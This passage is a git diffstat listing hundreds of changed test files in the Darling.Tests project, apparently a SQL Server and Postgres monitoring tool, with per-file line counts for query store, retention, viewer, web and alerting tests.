 ...ntervalPartitionedStoreMetricsLiveTests.cs |  226 +
 .../QueryStoreIntervalPartitionsLiveTests.cs  |  776 +++
 .../QueryStoreIntervalPartitionsTests.cs      |  314 +
 .../QueryStoreIntervalPurgeRowCappedTests.cs  |  622 ++
 .../QueryStoreIntervalRetentionLiveTests.cs   |  326 +
 .../QueryStoreIntervalRetentionPinTests.cs    |  119 +
 .../QueryStoreIntervalRetentionTestKit.cs     |  146 +
 ...eryStoreIntervalWideBelowFloorLiveTests.cs |   36 +-
 ...reIntervalWideBelowFloorRoutesLiveTests.cs |    1 +
 ...ueryStoreIntervalWideBrinIndexLiveTests.cs |   90 +-
 .../QueryStoreIntervalWideBrinIndexTests.cs   |   24 +-
 ...eryStoreIntervalWideFirstExecFloorTests.cs |  101 +-
 .../QueryStoreIntervalWideGateTests.cs        |   48 +-
 .../QueryStoreIntervalWideGridLiveTests.cs    |    5 +-
 .../QueryStoreIntervalWideHistoryNoteTests.cs |   46 +-
 ...oreIntervalWideMinSchemaVersionPinTests.cs |    1 +
 .../QueryStoreLegacyRowIndexLiveTests.cs      |  369 ++
 .../QueryStorePlanViaMapLiveTests.cs          |  363 ++
 .../Darling.Tests/QueryStoreRankedHarness.cs  |  346 +
 .../QueryStoreReadsDatabaseFilterLiveTests.cs |  302 +
 .../QueryStoreSliceTieBreakSourceTests.cs     |   14 +
 .../QueryStoreStatePruneTests.cs              |    1 +
 .../QueryStoreTopDailyBuilderLiveTests.cs     |  758 +++
 .../QueryStoreTopDailyReadLiveTests.cs        |  532 ++
 .../QueryStoreTopDailyRungTests.cs            |  457 ++
 ...ueryStoreTopLiteralEndStraddleLiveTests.cs |   43 +-
 .../QueryStoreTopMcpLiveTests.cs              |   55 +-
 .../QueryStoreTopWebDefaultTests.cs           |    4 +-
 .../Darling.Tests/QueryStoreTopWindowTests.cs |   19 +-
 .../QueryStoreTrendIntervalRateTests.cs       |    2 +-
 .../QueryStoreTrendRoutingTests.cs            |   11 +-
 ...QueryStoreWideFleetEligibilityLiveTests.cs |  227 +
 .../QueryStoreWideReadGuardTests.cs           |  385 ++
 .../QueryStoreWideUpperBoundLiveTests.cs      |  305 +
 .../QueryStoreWriteFencePinTests.cs           |    1 +
 .../QueryStoreWriterSetPinTests.cs            |    1 +
 .../QuietServerWatermarkLadderLiveTests.cs    |  369 ++
 .../RawChunkIntervalReconcilerLiveTests.cs    |   12 +-
 .../RawGatePerSlotSourceFloorLiveTests.cs     |   45 +-
 .../RawPurgeConvergeLiveTests.cs              |   42 +-
 .../RawPurgeTriggerGateErrorTests.cs          |   50 +-
 .../Darling.Tests/RawPurgeTriggerLiveTests.cs |  117 +-
 .../RawRepairEpochTriggerLiveTests.cs         |   40 +-
 .../RawRetentionPurgeJobLiveTests.cs          |    1 +
 .../RawTablesLeaveCatalogSweepLiveTests.cs    |   52 +-
 .../RawWindowFloorMcpLiveTests.cs             |   72 +
 .../RawWindowFloorQuietStartTests.cs          |  405 ++
 .../RawWindowFloorViewerPortTests.cs          |   98 +-
 .../Darling.Tests/RdsAssumeRoleSeamTests.cs   |  391 ++
 .../RdsDeadlockReportResumeTests.cs           |    2 +-
 .../RdsEndpointVerifierTests.Login.cs         |  462 ++
 .../Darling.Tests/RdsEndpointVerifierTests.cs |  387 ++
 .../RdsLogStateConcurrencyTests.cs            |  477 ++
 .../RdsResumePersistenceTests.cs              |   10 +-
 .../ReadLatencyAccumulatorTests.cs            |   17 +
 .../ReadLatencyBudgetEdgeTests.cs             |   43 +
 .../ReadLatencyFlushLiveTests.cs              |   29 +
 .../ReadLatencyWebRecordingTests.cs           |   30 +
 .../ReadScopeGateFaultLiveTests.cs            |   92 +
 .../ReadScopeStatementCaptureLiveTests.cs     |  241 +
 Darling/Darling.Tests/ReadScopeTests.cs       |  260 +
 .../ReadmeDerivedCountPinTests.cs             |    1 +
 .../RecurrenceLabelStoreReadTests.cs          |    1 +
 Darling/Darling.Tests/ReenterLineTests.cs     |   57 +
 .../RefreshCeilingProvenancePinTests.cs       |   26 +-
 .../RefreshCeilingStalenessTests.cs           |   42 +-
 .../RegisteredServerSettingDriftTests.cs      |   85 +-
 .../RegressedFromProductiveTests.cs           |    4 +-
 .../ReleaseStatementGateWorkflowTests.cs      |  179 +
 .../Darling.Tests/ReleaseWalkWordingTests.cs  |  191 +
 ...CollectorServiceCancellationCensusTests.cs |    2 +
 .../Darling.Tests/RepoFileAdoptionTests.cs    |   46 +
 .../RepoFileResolutionEquivalenceTests.cs     |    1 +
 .../ReproScriptLivePostgresTests.cs           |  177 +
 .../Darling.Tests/RestartRowIndexLiveTests.cs |  274 +
 .../RetentionCollectionYieldLiveTests.cs      |  186 +
 .../RetentionCollectionYieldTests.cs          |  922 +++
 ...ntionHoldAndCadenceRawRedirectLiveTests.cs |   40 +-
 .../RetentionReevaluationTests.cs             |   25 +-
 .../RetiredBaselineAggregateTests.cs          |   37 +-
 .../RetiredBaselineSweepRecoveryTests.cs      |  251 +
 .../Darling.Tests/RightSizingWindowTests.cs   |   53 +-
 .../Darling.Tests/RollupBackfillLiveTests.cs  |   49 +-
 .../RollupCoverageCeilingLiveTests.cs         |   15 +-
 .../RollupCoverageRoutingTests.cs             |   97 +-
 .../RollupCoverageWarmupTests.cs              |   50 +
 .../RollupFloorCacheLiveTests.cs              |  361 +-
 .../Darling.Tests/RollupFloorCacheTests.cs    |   74 +-
 .../RollupFloorStoreCacheTests.cs             |  213 +
 .../RollupIoFloorFillLiveTests.cs             |  125 +
 .../RollupTileDescriptionTests.cs             |    2 +-
 .../RollupWindowEndBoundTests.cs              |   16 +-
 .../RowPlanReadLivePostgresTests.cs           |  750 +++
 .../RuntimePreconditionMissTests.cs           |   26 +-
 .../SameStatementPileupSourceCensusTests.cs   |    5 +-
 .../Darling.Tests/ScopedLoadOrderingTests.cs  |   21 +-
 .../ScratchDatabaseDisposalCensusTests.cs     |  378 ++
 Darling/Darling.Tests/ScratchDatabaseSweep.cs |  193 +
 .../ScratchDatabaseSweepLiveTests.cs          |  431 ++
 .../ScratchDatabaseSweepTests.cs              |  129 +
 Darling/Darling.Tests/ScratchPostgres.cs      |  532 +-
 .../ScratchPostgresExitDrainTests.cs          |  329 +
 .../ScratchPostgresQuiesceTests.cs            |  310 +
 .../SealedSecretResolverTests.cs              |  393 ++
 .../SecondaryReplicaScopeLiveTests.cs         |  533 ++
 .../SecondaryReplicaScopeTests.cs             |  277 +
 .../SelfAlertDeliveryStampTests.cs            |    2 +-
 .../SelfAlertFailedSendCensusTests.cs         |   79 +-
 .../SelfAlertFailedSendRetryTests.cs          |  140 +-
 .../Darling.Tests/SelfAlertFleetPassTests.cs  |  877 +++
 .../SelfManagedStoreRulesStartPinTests.cs     |   67 +
 .../SensitiveStatementAutoParamTests.cs       |  767 +++
 .../Darling.Tests/SensitiveStatementCorpus.cs |  165 +
 .../SensitiveStatementHostFilterTests.cs      |  314 +
 .../SensitiveStatementJsonTests.cs            |  299 +
 .../SensitiveStatementOutputFilterTests.cs    |  629 ++
 .../SensitiveStatementRawCleanTests.cs        |  248 +
 .../SensitiveStatementSessionTests.cs         |  503 ++
 .../SensitiveStatementXmlTests.cs             |  636 ++
 .../SensitiveStatementsParityLiveTests.cs     |  190 +
 .../Darling.Tests/SensitiveStatementsTests.cs | 1153 ++++
 .../SeparatelyMonitoredListNoteTests.cs       |    6 +-
 .../SerialLoopStoreSizeSourceTests.cs         |    9 +-
 Darling/Darling.Tests/ServerAddRouteTests.cs  |  586 ++
 .../ServerAddViewerRoleLiveTests.cs           |  514 ++
 .../Darling.Tests/ServerConnectPolicyTests.cs |   10 +-
 .../ServerDatabasesEndpointLiveTests.cs       |  555 ++
 Darling/Darling.Tests/ServerEditCoreTests.cs  |  743 +++
 .../Darling.Tests/ServerEditGateLiveTests.cs  |  154 +
 Darling/Darling.Tests/ServerEditLiveTests.cs  |  583 ++
 .../ServerEditPasswordRuleViewerTests.cs      |  422 ++
 Darling/Darling.Tests/ServerEditRouteTests.cs |  822 +++
 .../ServerEditViewerRoleLiveTests.cs          |  389 ++
 .../ServerIdentityLockLiveTests.cs            |  775 +++
 .../ServerIdentityLockSourcePinTests.cs       |  203 +
 .../ServerInventoryFleetMetricsLiveTests.cs   |   17 +
 .../ServerInventoryFleetMetricsTests.cs       |   11 +-
 .../ServerLocalReadFrameDisciplineTests.cs    |    9 +-
 Darling/Darling.Tests/ServerPageTabsTests.cs  |   25 +-
 .../Darling.Tests/ServerPageTitlePinTests.cs  |    3 +-
 .../ServerPasswordFromRequestTests.cs         |  586 ++
 .../ServerRemovalClearsTagsLiveTests.cs       |  110 +
 .../ServerTabColumnGroupsPinTests.cs          |   47 +
 .../ServerTabEmptyStatesAndHeadersTests.cs    |  124 +
 .../ServerTabGridColumnPinTests.cs            |   78 +
 .../ServerTabToolbarAndTooltipsTests.cs       |  223 +
 .../Darling.Tests/ServerTagCoverageTests.cs   |  106 +
 .../ServerTagDeleteWarningTests.cs            |   49 +
 .../ServerTagMcpRoleLiveTests.cs              |  111 +
 Darling/Darling.Tests/ServerTagRulesTests.cs  |  151 +
 .../Darling.Tests/ServerTagStoreLiveTests.cs  |  296 +
 .../ServerTagViewerRoleLiveTests.cs           |  182 +
 .../ServerTagWebRoutesLiveTests.cs            |  160 +
 .../Darling.Tests/SharedBaselineCacheTests.cs |    2 +-
 .../SharedBaselineModelPinTests.cs            |    2 +
 .../ShowPlanParserParameterizedTextTests.cs   |   66 +
 .../Darling.Tests/SidebarSearchGroupTests.cs  |  249 +
 .../Darling.Tests/SingleInstanceGuardTests.cs |    1 +
 Darling/Darling.Tests/SlowClassCensusTests.cs |  348 ++
 Darling/Darling.Tests/SlowReadLogTests.cs     |  538 ++
 Darling/Darling.Tests/SlowReadsLiveTests.cs   |  269 +
 Darling/Darling.Tests/SlowReadsRungTests.cs   |  171 +
 Darling/Darling.Tests/SqlTextPinTests.cs      |    1 +
 Darling/Darling.Tests/StaTestThread.cs        |  277 +
 Darling/Darling.Tests/StaTestThreadTests.cs   |  195 +
 Darling/Darling.Tests/StaThreadCensusTests.cs |  139 +
 .../Darling.Tests/StallWaitProbeLiveTests.cs  |  243 +
 .../StallWaitProbeQueryTextPinTests.cs        |  139 +
 .../StartupCommandTimeoutTests.cs             |   53 +-
 Darling/Darling.Tests/StateSelfAlertTests.cs  |  491 ++
 .../StatementAlertReadCutLiveTests.cs         |   87 +
 .../StatementAnalysisReadCutLiveTests.cs      |  302 +
 .../StatementAnalysisReadCutPinTests.cs       |  109 +
 .../StatementCollectionCensusCases.cs         |   53 +
 .../StatementColumnCensusTests.cs             |  972 +++
 .../StatementCutSourceScanTests.cs            |  875 +++
 .../StatementDrillDownTextFetchLiveTests.cs   |  481 ++
 .../StatementFilterAlertTests.cs              |  602 ++
 .../StatementFilterAnalysisReadsLiveTests.cs  |  164 +
 .../StatementFilterBlockingReadsLiveTests.cs  |  450 ++
 .../Darling.Tests/StatementFilterCensus.cs    |  257 +
 .../StatementFilterDeliveryTests.cs           |  434 ++
 ...atementFilterDrillDownWarningsLiveTests.cs |  109 +
 ...tatementFilterPlanReaderSourceScanTests.cs |  169 +
 .../StatementFilterPlanReadsLiveTests.cs      |  608 ++
 .../StatementFilterQueryReadsLiveTests.cs     |  310 +
 .../Darling.Tests/StatementFilterWarmUp.cs    |   37 +
 .../StatementFilterWarmUpSourceTests.cs       |   54 +
 .../StatementFilterWarmUpWaitTests.cs         |  475 ++
 .../Darling.Tests/StatementFilterWebTests.cs  |  323 +
 .../StatementMarkerReaderTests.cs             |  425 ++
 .../StatementPreviewCutLiveTests.cs           |  125 +
 .../StatementPreviewCutPinTests.cs            |  102 +
 .../StatementScrubBlockingTests.cs            |  504 ++
 Darling/Darling.Tests/StatementScrubCanary.cs |  131 +
 .../StatementScrubDeadlockLiveTests.cs        |  175 +
 .../StatementScrubDerivedStoreTests.cs        |  312 +
 .../StatementScrubEndToEndLiveTests.cs        |  639 ++
 .../StatementScrubEventsTests.cs              |  289 +
 .../StatementScrubPlanCommandResultTests.cs   |  177 +
 .../StatementScrubQueryStatsLiveTests.cs      |  310 +
 .../StatementScrubQueryStatsTests.cs          |  449 ++
 .../StatementScrubQueryStoreLiveTests.cs      |  320 +
 .../StatementScrubQueryStoreTests.cs          |  181 +
 .../StatementScrubRecordingWriter.cs          |   69 +
 .../StatementScrubSnapshotTests.cs            |  457 ++
 .../StatementScrubViewerPlanWithheldTests.cs  |  153 +
 .../StatementScrubViewerSavePathsTests.cs     |  108 +
 .../Darling.Tests/StatusBarBehaviourTests.cs  |  153 +
 .../StorageAndFileIoWebDispatchLiveTests.cs   |  147 +
 .../StorageCommandTimeoutTests.cs             |   41 +-
 .../StorageDatabaseFilterLiveTests.cs         |  353 ++
 .../StorageGrowthNewTableCutLiveTests.cs      |  126 +
 .../StorageGrowthNoHistoryLiveTests.cs        |   98 +-
 .../StoreApplicationNameCensusTests.cs        |    4 +
 ...StoreConfigProviderConnectionMatchTests.cs |  169 +
 .../StoreConnectionStringAppendPinTests.cs    |    1 +
 .../StoreCopyPhaseLivePostgresTests.cs        |   22 +-
 .../StoreDimensionRowCountLiveTests.cs        |  134 +
 .../StoreInstallIdBindingRuleTests.cs         |   71 +
 .../Darling.Tests/StoreInstallIdLiveTests.cs  |  797 +++
 .../StoreInstallIdRefusedClusterLiveTests.cs  |  454 ++
 .../StoreInstallIdSourcePinTests.cs           |  127 +
 .../StoreIsOnThisMachineTests.cs              |   31 +-
 .../Darling.Tests/StoreLogClassifierTests.cs  |  359 +-
 .../StoreLogSeverityLocaleTests.cs            |   11 +-
 .../StoreMaintenanceTickLaunchTests.cs        |  269 +
 .../StoreObjectConvergenceTests.cs            |  153 +-
 .../StoreObjectHourlyStepSelectionTests.cs    |   73 +
 .../StoreQueryHistoryToolLiveTests.cs         |  507 ++
 .../StoreQueryHistoryToolTests.cs             |   68 +
 .../Darling.Tests/StoreSelfMetricsTests.cs    |  123 +-
 .../StoreServerPasswordRulesLiveTests.cs      |  644 ++
 .../StoreSessionTimeZonePinCensusTests.cs     |    4 +
 .../StoreSqlClockDisciplineTests.cs           |    1 +
 .../StoreStatementHistoryLiveTests.cs         |  383 ++
 .../StoreStatementHistoryRungTests.cs         |  222 +
 .../StoreStatementHistoryTests.cs             |  116 +
 .../StoreStatementStatsLiveTests.cs           |   47 +-
 .../Darling.Tests/StoreStatementStatsTests.cs |   57 +-
 .../StoreToastAndCheckpointerTests.cs         |   27 +-
 .../StoredPlanAnalysisFilterTests.cs          |  182 +
 .../StragglerCommandTimeoutTests.cs           |    9 +-
 .../SwallowedItemFailureTests.cs              |   41 +-
 .../SweepBodyDetachPolicyTests.cs             |    6 +-
 Darling/Darling.Tests/TargetProviderTests.cs  |   39 +
 .../TargetSessionIdCacheTests.cs              |  238 +
 .../TargetSessionIdLiveStoreTests.cs          |   75 +
 .../TempDbReservedLabelProvenanceTests.cs     |    2 +
 .../TestData/password-seal-v1-vector.json     |   22 +
 Darling/Darling.Tests/TestKeyRings.cs         |   23 +
 .../TestsNoSilentPassGuardTests.cs            |  126 +
 Darling/Darling.Tests/TimeHonestyRungTests.cs |    2 +
 .../TimeRangePickerControlTests.cs            |  199 +
 Darling/Darling.Tests/TimeRangeTests.cs       |  332 +
 .../TimescaleAggregateCompressionTests.cs     |   19 +-
 .../TimescaleAvailabilityReprobeTests.cs      |   59 +-
 .../TimescaleContinuousAggregateTests.cs      |   58 +-
 .../Darling.Tests/TimescaleSupportTests.cs    |  155 +-
 Darling/Darling.Tests/TimingClaim.cs          |   41 +
 Darling/Darling.Tests/TimingCollection.cs     |   32 +
 .../Darling.Tests/TimingTestCensusTests.cs    |  168 +
 Darling/Darling.Tests/TimingTestScanner.cs    |  275 +
 .../TopCpuQueriesTextLiveTests.cs             |    2 +-
 .../TopCpuQueriesTextShapeTests.cs            |    2 +-
 .../TopFillEmptyRoundLiveTests.cs             |  147 +
 .../TopProceduresDetailLiveTests.cs           |  130 +
 .../TopProceduresHourlyRoutingLiveTests.cs    |   12 +
 .../TopProceduresHourlyRoutingTests.cs        |   40 +-
 .../TopProceduresIoRouteLiveTests.cs          |  289 +
 .../TopQueriesDatabaseFilterLiveTests.cs      |  625 ++
 .../TopQueriesDetailLiveTests.cs              |  167 +
 .../TopQueriesHourlyRoutingLiveTests.cs       |   31 +-
 .../TopQueriesHourlyRoutingTests.cs           |   77 +-
 .../TopQueriesIoRouteLiveTests.cs             |  354 ++
 .../TopRankingDifferentialLiveTests.cs        |  572 ++
 .../TopRankingHourlyLiveTests.cs              |  293 +
 Darling/Darling.Tests/TopRankingLiveTests.cs  |  394 ++
 .../TopRankingNoticeBehaviourTests.cs         |  152 +
 .../TopRankingOnePassBaseline.cs              |  405 ++
 .../Darling.Tests/TopRankingPagePinTests.cs   |  104 +
 Darling/Darling.Tests/TopRankingTests.cs      |  239 +
 .../Darling.Tests/TopRankingTwoPassTests.cs   |  204 +
 .../Darling.Tests/TopTextLookupFillTests.cs   |  402 ++
 .../TopTextLookupPlanLiveTests.cs             |  358 ++
 .../Darling.Tests/TopTextTieBreakLiveTests.cs |  222 +
 .../TrendPayloadBudgetLiveTests.cs            |   41 +-
 .../Darling.Tests/TrendStaleStatsLiveTests.cs |  183 +
 .../Darling.Tests/TsqlConventionGuardTests.cs |   43 +-
 .../TuningDropLockRecoveryLiveTests.cs        |    3 +
 .../TuningHourlyCreateLiveTests.cs            |  199 +
 .../TuningIndexReaderPairingTests.cs          |   38 +-
 .../TuningReaderBudgetLiveTests.cs            |    6 +-
 Darling/Darling.Tests/TuningStartPasses.cs    |   31 +
 .../TuningStartPathOneBuildTests.cs           |  150 +
 .../UnpooledDropConnectionCensusTests.cs      |  709 +++
 ...alidateConfigOldFormatPasswordLiveTests.cs |  168 +
 .../ViewSavedServerScopeTests.cs              |  180 +
 .../Viewer4627EdgeCallerTests.cs              |    1 +
 Darling/Darling.Tests/Viewer4629Tests.cs      |    1 +
 .../ViewerAddServerIdCollisionTests.cs        |   11 +-
 .../ViewerAlertClockCacheTests.cs             |    2 +-
 .../ViewerApplyToAllClockTests.cs             |    2 +-
 .../Darling.Tests/ViewerAwsRoleFieldsTests.cs |  229 +
 .../ViewerAwsRoleUpsertLiveTests.cs           |  120 +
 ...rBlockedProcessReportsCoverageLiveTests.cs |  632 ++
 .../ViewerBlockingChartsDataStartLiveTests.cs |   85 +
 .../ViewerBlockingChartsDataStartPinTests.cs  |   88 +
 .../ViewerBlockingChartsDataStartTests.cs     |   69 +
 .../ViewerBlockingSourceLabelTests.cs         |  120 +
 .../ViewerBlockingSourceLivePostgresTests.cs  |  194 +
 .../ViewerButtonAccessKeyTests.cs             |    2 +
 .../ViewerCalendarRetentionPortTests.cs       |    7 +-
 ...tterAndMemoryPressureDataStartLiveTests.cs |  475 ++
 ...utterAndMemoryPressureDataStartPinTests.cs |  255 +
 ...rClutterAndMemoryPressureDataStartTests.cs |  414 ++
 .../ViewerCollectionHealthLoadTests.cs        |  191 +
 .../ViewerCollectionLogDataStartLiveTests.cs  |  378 ++
 .../ViewerCollectionLogDataStartTests.cs      |  365 ++
 .../ViewerCollectorDurationChartLiveTests.cs  |  337 +
 .../ViewerCollectorDurationChartTests.cs      |  261 +
 .../ViewerCollectorDurationHoverTests.cs      |  210 +
 .../ViewerCommandTimeoutTests.cs              |   37 +-
 .../ViewerConfigChangesDataStartTests.cs      |  333 +
 .../ViewerConfigGridCollectedColumnTests.cs   |   80 +
 .../ViewerControlPlaneStage3bTests.cs         |   14 +-
 .../Darling.Tests/ViewerCpuSchedulerTests.cs  |   11 +
 .../Darling.Tests/ViewerDailyHealthTests.cs   |    5 +-
 ...erDailySummaryAzureMasterScopeLiveTests.cs |    4 +-
 .../Darling.Tests/ViewerDataServiceTests.cs   |   63 +
 .../ViewerDataStartBannerTests.cs             |  332 +
 .../ViewerDisabledListBoxThemeTests.cs        |   24 +-
 .../ViewerEventDataStartLiveTests.cs          |  313 +
 .../ViewerEventDataStartTests.cs              |  454 ++
 .../ViewerEventGridsDataStartLiveTests.cs     |  538 ++
 .../ViewerFileIoBlockingTests.cs              |  172 +-
 ...OpsApplicationConnectionsDelegatesTests.cs |   65 +
 ...erFinOpsDatabaseResourcesDelegatesTests.cs |   56 +
 .../ViewerFinOpsHighImpactDelegatesTests.cs   |   56 +
 ...ViewerFinOpsIndexAnalysisDelegatesTests.cs |   52 +
 .../ViewerFinOpsInventoryDelegatesTests.cs    |   65 +
 .../ViewerFinOpsOptimizationDelegatesTests.cs |   70 +
 .../ViewerFinOpsPickerRefreshPinTests.cs      |    1 +
 ...ewerFinOpsRecommendationsDelegatesTests.cs |   59 +
 .../ViewerFinOpsRecommendationsTests.cs       |   25 +-
 .../ViewerFinOpsRowClockTests.cs              |   70 +-
 ...ViewerFinOpsStorageGrowthDelegatesTests.cs |   89 +
 .../ViewerFinOpsUtilizationDelegatesTests.cs  |   50 +
 ...rFinOpsUtilizationFiguresDelegatesTests.cs |   45 +
 .../ViewerFinOpsUtilizationNoCpuTests.cs      |   87 +
 .../ViewerFleetAzureMasterScopeLiveTests.cs   |    6 +-
 .../Darling.Tests/ViewerFleetRollupTests.cs   |   21 +-
 .../ViewerFleetScreenWalkFixesTests.cs        |  243 +
 .../ViewerFleetTimerGuardTests.cs             |    1 +
 Darling/Darling.Tests/ViewerGrantReplay.cs    |   75 +
 .../ViewerGridPayloadColumnOrderPinTests.cs   |    2 +
 .../ViewerGridTimeColumnSortMemberTests.cs    |   21 +
 .../ViewerGridTimeTextZoneTests.cs            |   20 +-
 .../ViewerHourlyRouteBlankColumnsLiveTests.cs |  304 +
 .../ViewerHourlyWindowEdgesLiveTests.cs       |  339 +
 .../ViewerHourlyWindowEdgesTests.cs           |  291 +
 .../Darling.Tests/ViewerIndexAnalysisTests.cs |   13 +-
 .../ViewerIoRollupRouteLiveTests.cs           |  322 +
 .../Darling.Tests/ViewerIoRollupRouteTests.cs |  130 +
 .../ViewerJobHistoryDataStartLiveTests.cs     |  287 +
 .../ViewerJobHistoryDataStartTests.cs         |  285 +
 .../Darling.Tests/ViewerLatchSpinlockTests.cs |    6 +-
 .../ViewerLocalStateBehaviourTests.cs         |  244 +
 .../ViewerLongQueriesDataStartTests.cs        |  185 +
 .../ViewerNotificationRouteDisplayTests.cs    |   16 +-
 ...rOverviewBlockingLaneDataStartLiveTests.cs |  192 +
 ...erOverviewBlockingLaneDataStartPinTests.cs |   85 +
 ...iewerOverviewBlockingLaneDataStartTests.cs |   63 +
 .../ViewerOverviewExplainsItselfTests.cs      |   11 +-
 .../ViewerOverviewSearchTests.cs              |  149 +
 .../Darling.Tests/ViewerPasswordKeyTests.cs   |  439 ++
 .../ViewerPerfmonRunningJobsTests.cs          |  180 +-
 .../ViewerPgSnapshotGridTimeTests.cs          |  229 +
 .../ViewerPlanCorrectionsDataStartTests.cs    |  183 +
 .../ViewerPostgresDataStartLiveTests.cs       |   80 +
 .../ViewerPostgresDataStartTests.cs           |  178 +
 .../ViewerPostgresGridTimeTextTests.cs        |   39 +-
 .../Darling.Tests/ViewerPostgresTabsTests.cs  |    4 +-
 .../ViewerProbeWatchCensusTests.cs            |  160 +
 .../Darling.Tests/ViewerQueriesRestTests.cs   |   43 +-
 Darling/Darling.Tests/ViewerQueriesTests.cs   |   78 +-
 .../ViewerQueryGridsDataStartLiveTests.cs     |  569 ++
 .../ViewerQueryHeatmapDataStartTests.cs       |  175 +
 ...eryStoreHistoryTotalExecutionsLiveTests.cs |  297 +
 ...erQueryStoreHistoryTotalExecutionsTests.cs |  306 +
 ...ewerQueryStoreRegressionsDataStartTests.cs |  197 +
 .../Darling.Tests/ViewerQueryTabLoadTests.cs  |  568 ++
 .../ViewerQueryTrendBucketingReviewTests.cs   |    3 +-
 .../ViewerScopedPaintGuardTests.cs            |    2 +
 .../ViewerScreenReaderNamesFollowUpTests.cs   |  263 +
 .../ViewerScreenReaderNamesTests.cs           |  205 +
 .../ViewerScreenReaderRowNamesTests.cs        |  311 +
 .../ViewerServerInventoryEnabledTests.cs      |   10 +-
 .../ViewerServerManagementTests.cs            |  135 +-
 .../ViewerServerSealLiveTests.cs              |  181 +
 .../Darling.Tests/ViewerServerSetSyncTests.cs |  188 +-
 .../ViewerServerTabCapabilityPinTests.cs      |    1 +
 .../ViewerSettingsFileGuardTests.cs           |    1 +
 .../ViewerShortWindowDataStartTests.cs        |  249 +
 .../ViewerSlicerRangeLabelTests.cs            |    1 +
 Darling/Darling.Tests/ViewerSmtpSealTests.cs  |  314 +
 .../ViewerSnapshotCollectedColumnTests.cs     |   85 +
 .../ViewerSnapshotStripCollectedTests.cs      |  169 +
 .../ViewerSnapshotTimeLiveTests.cs            |   65 +
 .../ViewerStatsRowBlankCellTests.cs           |  151 +
 .../ViewerStoreLoginRawReadLiveTests.cs       |   96 +
 .../ViewerSystemEventsDataStartTests.cs       |  237 +
 .../Darling.Tests/ViewerSystemEventsTests.cs  |   38 +-
 .../ViewerTextLookupWindowBoundLiveTests.cs   | 1070 ++++
 .../ViewerTimeRangeGapFixTests.cs             |  353 ++
 .../ViewerTimeRangeWindowTests.cs             |  201 +
 .../ViewerTrendRoutingPortTests.cs            |   56 +-
 .../ViewerTypedRangeZoneTests.cs              |   67 +-
 Darling/Darling.Tests/ViewerW2aTests.cs       |   28 +-
 .../ViewerWebhookSealLiveTests.cs             |  222 +
 .../ViewerWebhookSealingTests.cs              |  239 +
 .../WaitDrillDownPlanFetchGuardTests.cs       |    1 +
 .../WaitsDatabaseFilterLiveTests.cs           |  535 ++
 .../WebAutoRefreshPolicyTests.cs              |    3 +-
 .../WebBlockingColumnsPageTests.cs            |  126 +
 .../WebBlockingSaveXmlBehaviourTests.cs       |  104 +
 .../WebBlockingSourceBehaviourTests.cs        |  110 +
 .../WebChartAtTimeBehaviourTests.cs           |  458 ++
 .../WebChartLegendIsolateBehaviourTests.cs    |  333 +
 .../WebChartMenuBehaviourTests.cs             |  144 +
 .../WebChartWidthBehaviourTests.cs            |  517 ++
 .../WebChartZoomBehaviourTests.cs             |  226 +
 .../WebClickthroughPickListTests.cs           |  232 +
 .../WebClickthroughStaleStateTests.cs         |  154 +
 .../WebCollectionHealthRunAtColumnTests.cs    |  138 +
 .../WebCollectorRunHistoryTests.cs            |  134 +
 .../WebDataStartNoteBlockingDeadlockTests.cs  |  122 +
 .../WebDataStartNoteCappedWindowTests.cs      |  115 +
 .../WebDataStartNoteConfigAndLogLiveTests.cs  |  501 ++
 .../WebDataStartNoteConfigAndLogTests.cs      |  563 ++
 .../WebDataStartNoteEventReadsTests.cs        |  219 +
 .../WebDataStartNoteLiveTests.cs              |  715 +++
 .../Darling.Tests/WebDataStartNoteTests.cs    | 1044 ++++
 .../WebDatabaseBlankRuleTests.cs              |  138 +
 .../WebDatabaseFilterBehaviourTests.cs        |  266 +
 .../WebDatabaseFilterChipsBehaviourTests.cs   |  226 +
 .../WebDatabaseFilterDispatchLiveTests.cs     |  207 +
 .../WebDatabaseFilterPickerBehaviourTests.cs  |  327 +
 .../WebDatabaseFilterReadsTests.cs            |  364 ++
 .../Darling.Tests/WebDatabaseFilterTests.cs   |  550 ++
 .../WebDatabaseSizesNoteColumnTests.cs        |    2 +-
 .../WebDeadlockGraphBehaviourTests.cs         |  171 +
 .../WebDeadlockGraphShapeTests.cs             |  297 +
 .../WebExceptionTextCensusTests.cs            |   30 +
 .../WebFileIoAndPvsWindowPageTests.cs         |   67 +
 .../WebFileIoLatencyBehaviourTests.cs         |  103 +
 .../WebHarness/load-web-modules.mjs           |   93 +
 .../WebHarnessJsTreeCopyTests.cs              |  847 +++
 .../WebMemoryPressureChartBehaviourTests.cs   |  126 +
 Darling/Darling.Tests/WebModuleLoadTests.cs   |  239 +
 Darling/Darling.Tests/WebPageRangeTests.cs    |  229 +
 .../WebPageRefreshIntervalBehaviourTests.cs   |  160 +
 .../WebPerfmonMultiSelectBehaviourTests.cs    |  267 +
 .../WebPerfmonPerSecondBehaviourTests.cs      |   28 +-
 .../Darling.Tests/WebPgPlanViewerPageTests.cs |   94 +
 .../WebPgStatementEvictionTilePageTests.cs    |   56 +
 Darling/Darling.Tests/WebPlainTextTests.cs    |  281 +
 .../Darling.Tests/WebPlanViewerPageTests.cs   |  210 +
 .../WebQueryStoreGridGroupsTests.cs           |  168 +
 .../WebQueryStoreHistoryColumnTests.cs        |   49 +
 .../WebRangeKeptHistoryBehaviourTests.cs      |   49 +-
 .../WebReadCancellationPinTests.cs            |    5 +-
 Darling/Darling.Tests/WebReadProbe.cs         |   34 +
 .../Darling.Tests/WebReadReachLiveTests.cs    |  176 +
 Darling/Darling.Tests/WebReadReachTests.cs    |  438 ++
 Darling/Darling.Tests/WebRenderSettleTests.cs |   20 +-
 .../WebRouteStatementCensusTests.cs           |  735 +++
 .../Darling.Tests/WebServerPageRangeTests.cs  |  489 ++
 .../WebServerTrendsBehaviourTests.cs          |  164 +
 .../Darling.Tests/WebServerTrendsPageTests.cs |   78 +
 Darling/Darling.Tests/WebTimeRangeTests.cs    |  320 +
 .../WebTopProceduresColumnsTests.cs           |  163 +
 .../WebTopQueriesColumnsTests.cs              |  162 +
 .../WebWaitQueriesLinkBehaviourTests.cs       |  205 +
 .../WebWaitStatsMultiSelectBehaviourTests.cs  |  267 +
 .../WebWaitsActivityTrendsBehaviourTests.cs   |  148 +
 .../WebWaitsActivityTrendsPageTests.cs        |   80 +
 .../WebhookDeliverySnapshotTests.cs           |  151 +
 .../Darling.Tests/WebhookPostTimeoutTests.cs  |    1 +
 .../Darling.Tests/WindowFloorLiveHarness.cs   |  136 +
 .../WindowNoticeAggregateCases.cs             |  143 +
